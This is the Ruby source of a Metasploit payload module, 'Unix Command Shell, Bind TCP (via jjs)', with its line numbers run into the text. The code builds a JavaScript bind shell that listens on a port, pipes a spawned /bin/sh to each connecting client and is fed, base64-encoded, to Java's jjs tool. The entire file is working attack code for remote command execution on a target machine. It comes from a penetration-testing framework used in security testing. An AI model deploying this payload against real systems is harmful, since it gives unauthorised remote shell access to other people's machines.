Path: blob/master/modules/payloads/singles/cmd/unix/bind_jjs.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 79578include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via jjs)',16'Description' => 'Listen for a connection and spawn a command shell via jjs',17'Author' => [18'conerpirate', # jjs bind shell19'bcoles' # metasploit20],21'References' => [22['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],23['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],24['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],25],26'License' => MSF_LICENSE,27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::BindTcp,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'jjs',33'Payload' => { 'Offsets' => {}, 'Payload' => '' }34)35)36register_options(37[38OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])39]40)41register_advanced_options(42[43OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])44]45)46end4748def generate(_opts = {})49return super + command_string50end5152def command_string53jcode = %{54var ss=new java.net.ServerSocket(#{datastore['LPORT']});55while(true){56var s=ss.accept();57var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();58var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();59var po=p.getOutputStream(),so=s.getOutputStream();60while(!s.isClosed()){61while(pi.available()>0)so.write(pi.read());62while(pe.available()>0)so.write(pe.read());63while(si.available()>0)po.write(si.read());64so.flush();65po.flush();66java.lang.Thread.sleep(50);67try{p.exitValue();break;}catch(e){}68};69p.destroy();s.close();ss.close();70}71}7273minified = jcode.split("\n").map(&:lstrip).join7475%{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}76end77end787980